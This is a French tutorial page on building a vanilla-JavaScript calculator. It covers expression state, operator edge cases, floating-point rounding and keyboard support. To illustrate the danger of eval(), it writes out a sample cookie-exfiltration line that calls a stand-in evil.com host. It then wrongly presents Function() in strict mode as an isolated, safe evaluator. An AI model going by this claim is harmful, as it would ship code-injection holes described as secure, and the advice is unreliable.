Aller au contenu
← 1001 Widgets
N° 002 · ●○○

Calculatrice Monique

Calculatrice complète avec display expression + résultat. Faite avec amour pour Monique.

HTMLCSSJS
Ce qu'on apprend
  • Enchaîner des opérations sans eval()
  • Organiser une grille en CSS Grid
  • Gérer les cas limites, comme la division par zéro
Pourquoi ce langage

Pourquoi JS vanilla et pas une lib ? Parce que comprendre comment une calculatrice fonctionne t'apprend 3 concepts fondamentaux du JS : la gestion d'état, l'évaluation d'expressions, et la gestion des cas limites (erreurs, double opérateur...).

Ce qu'on construit : Une string "expression" qui se construit au fur et à mesure que l'utilisateur appuie sur les touches. Quand il appuie sur =, on évalue cette expression. C'est le même principe qu'un terminal ou une console JS.

Le vrai défi n'est pas le calcul, c'est la gestion des états bizarres : - Que se passe-t-il si on appuie deux fois sur + ? - Que se passe-t-il si on commence par un opérateur ? - Comment gérer les nombres décimaux (0.1 + 0.2) ?

Comment ça marche
  1. L'ÉTAT current = la string d'expression en cours de construction ex: "12+5*3" ou "100-" ou "0.5" justCalc = flag qui indique qu'on vient de calculer Pourquoi ce flag ? Si tu tapes "5+3=8" puis "2", tu veux commencer un nouveau calcul (résultat: 2) et pas continuer l'ancien (résultat: 82)

    let current = ''
    let justCalc = false
    
    function appendVal(v) {
  2. Si on vient de calculer et qu'on tape un chiffre : on repart de zéro. Mais si on tape un opérateur, on continue avec le résultat précédent.

    if (justCalc && !isNaN(v) && v !== '.') current = ''
    justCalc = false
  3. Deux opérateurs consécutifs → on remplace le dernier Exemple : "5+" puis "-" donne "5-" et pas "5+-"

    const ops = ['+', '-', '*', '/']
    if (ops.includes(v) && ops.includes(current.slice(-1))) {
    current = current.slice(0, -1)
    }
  4. Si on commence par un point → on préfixe "0" "." devient "0." pour que "0.5" soit valide

    if (v === '.' && current === '') current = '0'
    
    current += v
    display.textContent = current || '0'
    }
    
    function calcule() {
    if (!current) return
    
    try {
  5. Function() en mode strict = évaluation sécurisée Plus sûr que eval() car isolé dans sa propre portée Pas accès aux variables globales de ta page

    const result = Function('"use strict";return(' + current + ')')()
  6. toFixed(10) évite 0.1+0.2=0.30000000000000004 parseFloat retire les zéros inutiles : "1.50000" → "1.5"

    current = parseFloat(result.toFixed(10)).toString()
    display.textContent = current
    justCalc = true
    
    } catch {
  7. Expression invalide (ex: "5+" sans deuxième opérande)

    display.textContent = 'Erreur syntaxe'
    current = ''
    }
    }
    
    function suppr() {
    current = ''
    display.textContent = '0'
    justCalc = false
    }
Pièges & optimisations

PIÈGE 1 : eval() est dangereux ❌ const result = eval(current) → eval() a accès à toutes tes variables globales. Un utilisateur malveillant peut taper : "fetch('https://evil.com?data='+document.cookie)" et exfiltrer des données.

Fix

Function('"use strict";return(' + current + ')')() → Isolé, pas accès au scope global. Bien plus sûr.

PIÈGE 2 : Les virgules flottantes ❌ 0.1 + 0.2 = 0.30000000000000004 en JavaScript → C'est normal, c'est IEEE 754 (la norme des nombres flottants).

Fix

parseFloat(result.toFixed(10)) arrondit à 10 décimales → 0.30000000000000004 devient 0.3

Optimisation 1

Support clavier document.addEventListener('keydown', (e) => { if (e.key >= '0' && e.key <= '9') appendVal(e.key) if (['+','-','*','/'].includes(e.key)) appendVal(e.key) if (e.key === 'Enter' || e.key === '=') calcule() if (e.key === 'Escape') suppr() if (e.key === 'Backspace') { current = current.slice(0, -1) display.textContent = current || '0' } })

Optimisation 2

Historique des calculs const history = []

function calcule() { if (!current) return try { const expr = current const result = Function('"use strict";return(' + expr + ')')() current = parseFloat(result.toFixed(10)).toString() display.textContent = current justCalc = true // Sauvegarde dans l'historique history.unshift({ expr, result: current }) if (history.length > 5) history.pop() renderHistory() } catch { display.textContent = 'Erreur syntaxe' current = '' } }

→ React

ce que tu viens d'apprendre // Ton code vanilla : let current = '' function appendVal(v) { current += v; display.textContent = current }

// Devient en React : const [current, setCurrent] = useState('') const appendVal = (v) => setCurrent(prev => prev + v)

// Le display se met à jour automatiquement // car React re-render quand l'état change. // Plus besoin de display.textContent = current

Personnaliser

Édite les variables CSS et observe le résultat en temps réel.

Variantes
Commentaires
0/1000

Chargement des commentaires…